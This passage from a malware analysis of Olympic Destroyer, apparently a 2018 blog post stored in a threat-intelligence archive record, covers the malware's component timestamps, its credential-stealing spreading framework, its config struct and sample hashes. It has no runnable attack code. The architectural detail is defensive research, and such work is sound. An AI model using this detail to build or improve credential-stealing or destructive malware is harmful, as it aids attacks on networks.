19\n\nThe PE time stamps of the more complex version in ascending order:\r\nName Compilation Timestamp Description\r\nResource 104 2016-06-28 18:43:09 Copy of PsExec\r\nResource 105 2017-12-27 09:03:48 Destroyer\r\nDLL in Resource 101 2017-12-27 11:38:53 Browser Password Stealer\r\nDLL in Resource 102 2017-12-27 11:38:58 Windows Account Password Stealer\r\nResource 101 2017-12-27 11:39:06 Loader for internal DLL\r\nResource 103 2017-12-27 11:39:11 Loader for internal x64 DLL\r\nResource 102 2017-12-27 11:39:17 Loader for internal DLL\r\nMain binary 2017-12-27 11:39:22 Olympic Destroyer\r\nFigure 14: PE timestamps for more compelx version of Olympic Destroyer\r\nSome of those values actually make sense, although they might have been crafted in order to do so. The DLLs\r\nwhich are resources of resource 101 and 102 have to be compiled before they can be embedded as resources, so\r\ntheir time stamps come first. The same goes for all resource which are embedded in them main binary of Olympic\r\nDestroyer. PsExec in resource 104 is the original copy of PsExec, thus has the original time stamp. A time\r\ndifference of four to nine seconds for each binary sounds realistic, given only a few dependencies on external\r\nlibraries. Unfortunately, the compilation with the biggest external dependencies, the DLL in resource 101 where\r\nSQLite is used, seems to be the first binary in the build chain. This is where I would have expected to see the\r\nbiggest gaps in between the time stamps. But as it is the start of the build chain, we cannot compare it to any\r\nbinary built before it. By looking at the gaps, we can also see that everything except the destroyer part seem to be\r\ncompiled in one block. Also the more complex version of Olympic Destroyer seems to be compiled five minutes\r\nbefore the simpler version. Most probably the attacker(s) just compiled the first set of Olympic Destroyer, before\r\ncommenting out the one function using PsExec (implicitly removing all the used sub-functions), and then\r\nrecompiled the whole set.\r\nIt is noteworthy to point out that both versions of Olympic Destroyer use the very same copy of the destroyer\r\ncomponent. Not only the compilation time stamps are the same, but also their hash sums.\r\nSummary\r\nThis article has shown the innermost working of the malware called Olympic Destroyer. We have seen that by\r\npure reverse engineering of the malware samples, a plethora of information can be obtained and deduced.\r\nThe analysis indicates that Olympic Destroyer consists of two completely independent parts: The first one is a\r\nframework for network spreading using resource 101 to 104 in order to spread as fast and as far as possible in the\r\nlocal network. The second one is the destructive component. Both parts work completely independent from each\r\nother. Resource 101 to 103 have a strong logical dependency on the main binary by receiving the decryption key\r\nhttps://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/\r\nPage 17 of 19\n\nas well as the name of the named pipe as arguments. And the main binary depends on the information returned\r\nfrom the resources 101 to 103 formatted in a certain way. In contrast to that, the destroyer in resource 105 is only\r\ndropped and executed in a fire and forget manor. No arguments, return values or status codes are exchanged. So I\r\nthink it is correct to state that everything except the destroyer is merely a vehicle in form of a spreading\r\nframework to deliver a payload. And the delivered payload is the destroyer. In theory every other payload could be\r\ndelivered by simply exchanging the resource 105.\r\nWe have also seen that Olympic Destroyer comes in two different versions, which have been spread in two\r\ndifferent networks. The spreading algorithm differs in the way that credentials stolen on one system are not carried\r\non to the next infected system in one version. It is unknown to me why the differences exist. Reading the\r\nKasperky article indicates that the attackers already had a strong foothold in the g18.internal and\r\nPyeongchang2018.com network. So it might have been enough to spread only one hop from the initial infected\r\nmachine.  This decision could also be influenced by the defensive mechanisms employed at the targeted network.\r\nA proper network monitoring tool should mark the execution of PsExec as red flag, which might have been the\r\nreason to remove this part of the spreading algorithm. The analysis of stolen credentials in the network of ATOS\r\nindicates that the attackers had a weaker foothold in the network, since, juding by the samples I looked at, only\r\ntwo sets of credentials were stolen on the initial infection (compared to 44 in the simpler variant). All other\r\ncredentials were added during the spreading in the network. This weak foothold might have been the cause to go\r\nwith a more aggressive spreading algorithm.\r\nAppendix\r\nConfig structure as used in Olympic Destroyer:\r\nstruct config\r\n{\r\n DWORD credentialsVectorStart;\r\n DWORD credentialsVectorEnd;\r\n DWORD credentialsVectorMaxSize;\r\n CRITICAL_SECTION critSect;\r\n WSADATA wsadata;\r\n char ressourceHpath[1024];\r\n char randomTempPath[1024];\r\n char ressourceIpath[1024];\r\n char selfModulePath[1024];\r\n char domainName[256];\r\n char accountName[256];\r\n char domainAndAccountName[256];\r\n char v13[256];\r\n DWORD bitness;\r\n DWORD bVersionGreaterEqualVista;\r\n DWORD bVersionSmallerEqualXP;\r\n DWORD bHasSelfDebugPrivs;\r\n DWORD bIsServiceOrAdmin;\r\nhttps://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/\r\nPage 18 of 19\n\nDWORD bIsUserAccount;\r\n};\r\nHashes used for analysis:\r\nedb1ff2521fb4bf748111f92786d260d40407a2e8463dcd24bb09f908ee13eb9\r\n01e640a91d32230cd3f45e1594177393415585dbeba9ddbd31be2139935058d3\r\n137148fe8223bc88661ac941ea1a648ad0fb6e49c359acd06781abd0a0493c01\r\n1942f14326f8ffa3afc83946ba9ec06abe983a211939f0e58362f85dd2a6b96a\r\n2239d109d7c01682c99a721d654643b7d8f4431887ecad6fb2d043dbdacfe226\r\n25089ec24167f3caa413a9e1965c7dfc661219f45305187070a1e360b03f869c\r\n254fbeb13f8d2dc36de3a3ffca653608d1b3420a20a20248d330500785b3945c\r\n2bcbb1c165a6e31e085306224de3410249df50742ca3af069d58c7fd75d2d8c4\r\n2bf9f3703b48bf1578a43479444107b33ff6ecea108b364fc73913a639c511d4\r\n2c28f3b297a990b9d7a7163bac57ab68228c66109bb7a593702e556cdd455cce\r\n3131a8208dc7441bf26592d7fed2ba5d9f9994e21d9b8396b4d2cda76a8a44d7\r\n36a65a47cc464aac45a5d27372ea3b3584726d354f0792b9a77bfbe0cd0558bd\r\n41a6d6f1dca75abc924960ee701b0df0e7adc8b7501ac4e2c00743d7266df7d3\r\n5181fe760f456719b0ec505370df0b38055a5a3b202e1d50948fc92383a61c18\r\n569fbe4f66fa09fb375fb87915da79dbafb1ef62d9a20849d1beea4eadb8e805\r\n5d85fba3ff021b35bfba30d5d56b957ef084d818778ff77550bcf65755aa7849\r\n5f37829988e827f05b42774db94e8a15e87e9de12e61b89c91bf5fddee90650c\r\n6d7d35b4ce45fae4a048f7e371f23d1edc4c3b6998ab49febfd7d33f13b030a5\r\n6f6e9dde888d2368c1c9973769a5ea76bbf634105ed4f8adf1e74624f39454ad\r\n725efe161b8d0024cd330e3a3da194b46d16be14d57392fbfdf1ea71415d67b1\r\n75fa1309be8fdca4a6df345a009b47938503d5227149838334581b08d40b7e2f\r\n9085926d0beacc97f65c86c207fa31183c5373e9a26fb0678fbcd26ab65d6e64\r\n90c956e8983116359662f8b82ae156b378d3fae02c07a18827b4c65f0b5fe9ef\r\n98d4f0e8f91d7f4f1a3058b1a30220e3460cc821be704acfcb7fa2eb0c88818c\r\n99ca9d41c2ea6a18436fbc173ce8f3e94b5a3d592d9e4fa978120d140d96aefa\r\na9f66d9dd3fd0f977381e83c1379fe664f22ebdd5695258fc388465cd3749562\r\naf33d399d9cb8026d796daf95f5bda9da96bb021ad93c001a21aa38005f2faa7\r\nb30b4acf05898c8a6338f5df6c3df7d7f06df8e67ccd773ffd83b5b8acff4cb8\r\nbdfb1a9f59be657b5375689b357ef8e70e1e7332f52c2e79ab3be796e06858d1\r\nca8be57bbd2f3169d0c1c4b5145e8f955ea69ddde701f94a2b29c661389b3aa2\r\ncc2b47bffc260d992c602dbdbce1fb2ed982df883956cad9beac1ee0784650f6\r\nd17d32048aae06ec60b693cd83e1cf184e8c2e4d1f0299a28423fdc624f56bb8\r\nd2e43c41acd40324813d51df99fa127b86d8e384671dcc77f748d86afc3993a5\r\ne2153c73ec9fd15dc8389523515a96c3477fce5503be78ff82ab3cc7e9386e83\r\ne4dd30d5d85c4aaf05e01d8f40fb0e01e4e8ba99e82ec58946c045ce53783bde\r\ne8349cfcc422310c259688b0226cb14f5196a6daad77b622405282aeac89ab06\r\nf99610f8e36eb65e75979ef3ea4b7382bfb0bf2b72191cefccaaa19283d23606\r\nSource: https://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/\r\nhttps://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/\r\nPage 19 of 19\n\ncontain the same broken spreading set of crendetials. algorithm. This supports the findings that the simple version of Olympic Destroyer has a\nIn contrast to that, 12 samples of the total 36 are from the ATOS network with the domain ww930 , as partially\ndescribed by Kaspersky. Apparently the more capable version of Olympic Destroyer was spreading here, thus the\n   Page 15 of 19",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"ETDA",
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/"
	],
	"report_names": [
		"dissecting-olympic-destroyer-a-walk-through"
	],
	"threat_actors": [],
	"ts_created_at": 1775434707,
	"ts_updated_at": 1775826720,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/c59e6d4ca00957e818c536e0cff82ec1150a637b.pdf",
		"text": "https://archive.orkl.eu/c59e6d4ca00957e818c536e0cff82ec1150a637b.txt",
		"img": "https://archive.orkl.eu/c59e6d4ca00957e818c536e0cff82ec1150a637b.jpg"
	}
}